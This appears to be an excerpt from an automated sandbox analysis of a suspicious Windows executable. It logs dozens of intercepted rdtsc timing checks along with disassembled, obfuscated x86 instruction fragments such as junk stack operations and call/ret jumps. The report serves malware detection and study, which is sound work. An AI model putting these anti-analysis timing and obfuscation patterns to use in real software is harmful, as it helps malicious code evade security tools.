Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A525 second address: A3A52F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDE8CE8B4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D86D second address: A8D8F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDE8C51D4D6h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FDE8C51D4D8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007FDE8C51D4D8h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 push 00000000h 0x00000047 jnl 00007FDE8C51D4DCh 0x0000004d pushad 0x0000004e jmp 00007FDE8C51D4DEh 0x00000053 pushad 0x00000054 sub ecx, dword ptr [ebp+122D2D07h] 0x0000005a jbe 00007FDE8C51D4D6h 0x00000060 popad 0x00000061 popad 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 push edx 0x00000067 pop edx 0x00000068 jno 00007FDE8C51D4D6h 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E8D4 second address: A8E8D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E8D8 second address: A8E8DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E8DE second address: A8E951 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDE8CE8B4D3h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FDE8CE8B4C8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D1F62h] 0x0000002e mov di, ax 0x00000031 push 00000000h 0x00000033 mov edi, 062440A7h 0x00000038 push 00000000h 0x0000003a jnc 00007FDE8CE8B4CCh 0x00000040 xchg eax, esi 0x00000041 jmp 00007FDE8CE8B4D6h 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F876 second address: A8F87B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EABB second address: A8EABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F87B second address: A8F8C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FDE8C51D4D8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 sub ebx, 62742ADEh 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c mov di, bx 0x0000002f jl 00007FDE8C51D4D9h 0x00000035 xchg eax, esi 0x00000036 je 00007FDE8C51D4E2h 0x0000003c jnc 00007FDE8C51D4DCh 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EB56 second address: A8EB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9371B second address: A937D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FDE8C51D4D8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FDE8C51D4D8h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Ah 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 mov ebx, edi 0x00000044 sub edi, dword ptr [ebp+122D28CCh] 0x0000004a push 00000000h 0x0000004c mov di, 18ECh 0x00000050 call 00007FDE8C51D4E7h 0x00000055 add ebx, dword ptr [ebp+122D2C6Bh] 0x0000005b pop ebx 0x0000005c xchg eax, esi 0x0000005d pushad 0x0000005e push edi 0x0000005f jmp 00007FDE8C51D4DFh 0x00000064 pop edi 0x00000065 jmp 00007FDE8C51D4DCh 0x0000006a popad 0x0000006b push eax 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f push ebx 0x00000070 pop ebx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A946B5 second address: A946BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A946BC second address: A94756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FDE8C51D4D8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jmp 00007FDE8C51D4E8h 0x00000029 jmp 00007FDE8C51D4E7h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007FDE8C51D4D8h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 0000001Dh 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a jmp 00007FDE8C51D4DCh 0x0000004f push 00000000h 0x00000051 or dword ptr [ebp+122D226Ch], eax 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push edi 0x0000005b push ebx 0x0000005c pop ebx 0x0000005d pop edi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94756 second address: A94760 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE8CE8B4CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A957B1 second address: A957C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FDE8C51D4D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DD3B second address: A9DD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D47E second address: A9D4D2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE8C51D4EFh 0x00000008 pushad 0x00000009 js 00007FDE8C51D4D6h 0x0000000f jmp 00007FDE8C51D4E5h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FDE8C51D4E2h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D4D2 second address: A9D4D7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D66D second address: A9D69F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDE8C51D4E8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9D69F second address: A9D6A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9FF00 second address: A9FF05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA155D second address: AA1561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1561 second address: AA1575 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE8C51D4D8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007FDE8C51D4D6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1575 second address: AA1584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1584 second address: AA1592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1592 second address: AA1596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1596 second address: AA15B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9390B second address: A93910 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A959B2 second address: A959BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6981 second address: AA699B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007FDE8CE8B4C8h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FDE8CE8B4C8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6A72 second address: AA6A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6B5E second address: AA6B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007FDE8CE8B4D1h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6B81 second address: AA6B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8C51D4DAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6B90 second address: AA6B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8CE8B4CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6B9F second address: AA6BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6BA3 second address: AA6BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE8CE8B4CBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6BBA second address: AA6BBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6BBF second address: AA6BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6C84 second address: AA6C92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6C92 second address: 8CEC37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnp 00007FDE8CE8B4C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 38407B17h 0x00000015 pushad 0x00000016 sbb eax, 17023EB2h 0x0000001c push edx 0x0000001d push edx 0x0000001e pop eax 0x0000001f pop edi 0x00000020 popad 0x00000021 push dword ptr [ebp+122D021Dh] 0x00000027 jmp 00007FDE8CE8B4D1h 0x0000002c call dword ptr [ebp+122D1DD7h] 0x00000032 pushad 0x00000033 jnp 00007FDE8CE8B4C7h 0x00000039 xor eax, eax 0x0000003b pushad 0x0000003c xor dword ptr [ebp+122D1CC9h], ecx 0x00000042 popad 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 jne 00007FDE8CE8B4D4h 0x0000004d mov dword ptr [ebp+122D2BBBh], eax 0x00000053 clc 0x00000054 mov esi, 0000003Ch 0x00000059 mov dword ptr [ebp+122D1D82h], esi 0x0000005f mov dword ptr [ebp+122D1CC9h], esi 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 xor dword ptr [ebp+122D1D82h], edi 0x0000006f lodsw 0x00000071 cmc 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 mov dword ptr [ebp+122D1D82h], edx 0x0000007c mov dword ptr [ebp+122D1CC9h], eax 0x00000082 mov ebx, dword ptr [esp+24h] 0x00000086 jmp 00007FDE8CE8B4D4h 0x0000008b push eax 0x0000008c push eax 0x0000008d push eax 0x0000008e push edx 0x0000008f pushad 0x00000090 popad 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB5E8 second address: AAB5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42C07 second address: A42C1C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDE8CE8B4C6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42C1C second address: A42C39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE8C51D4E1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA36E second address: AAA38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDE8CE8B4C6h 0x0000000a pop ebx 0x0000000b jns 00007FDE8CE8B4CCh 0x00000011 popad 0x00000012 pushad 0x00000013 jg 00007FDE8CE8B4CEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA38F second address: AAA399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA399 second address: AAA3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA3B0 second address: AAA3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAA935 second address: AAA93F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE8CE8B4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAE7F second address: AAAE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAE86 second address: AAAE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAE93 second address: AAAE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDE8C51D4D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAE9F second address: AAAEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAEA5 second address: AAAEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAEAA second address: AAAEB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAEB0 second address: AAAEB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB15E second address: AAB16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FDE8CE8B4D2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB16E second address: AAB178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDE8C51D4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB178 second address: AAB1B2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE8CE8B4F5h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB316 second address: AAB32A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FDE8C51D4D6h 0x0000000e ja 00007FDE8C51D4D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF708 second address: AAF70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF70E second address: AAF712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF712 second address: AAF725 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF725 second address: AAF74A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FDE8C51D4EFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF74A second address: AAF769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8CE8B4D5h 0x00000009 je 00007FDE8CE8B4C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF8EC second address: AAF91F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDE8C51D4E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FDE8C51D4E3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFA7C second address: AAFA82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFA82 second address: AAFAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE8C51D4DDh 0x0000000b push edi 0x0000000c jmp 00007FDE8C51D4DCh 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDE8C51D4E2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0158 second address: AB0161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0161 second address: AB0165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0569 second address: AB056D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB056D second address: AB0573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0573 second address: AB0579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0579 second address: AB059D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FDE8C51D4DCh 0x00000008 js 00007FDE8C51D4D6h 0x0000000e pop esi 0x0000000f jl 00007FDE8C51D4E2h 0x00000015 jg 00007FDE8C51D4D6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0729 second address: AB0746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D3h 0x00000007 jp 00007FDE8CE8B4C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB0746 second address: AB0751 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FDE8C51D4D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8F73 second address: AB8FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnp 00007FDE8CE8B4C6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jbe 00007FDE8CE8B4E5h 0x00000015 jmp 00007FDE8CE8B4CFh 0x0000001a jmp 00007FDE8CE8B4D0h 0x0000001f pushad 0x00000020 push eax 0x00000021 jmp 00007FDE8CE8B4CFh 0x00000026 jnl 00007FDE8CE8B4C6h 0x0000002c pop eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7757A second address: A775A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+1245066Fh] 0x00000012 lea eax, dword ptr [ebp+1247C2FEh] 0x00000018 stc 0x00000019 push eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A775A1 second address: A775A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7764F second address: A77653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77BF8 second address: A77C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8CE8B4D4h 0x00000009 rdtsc
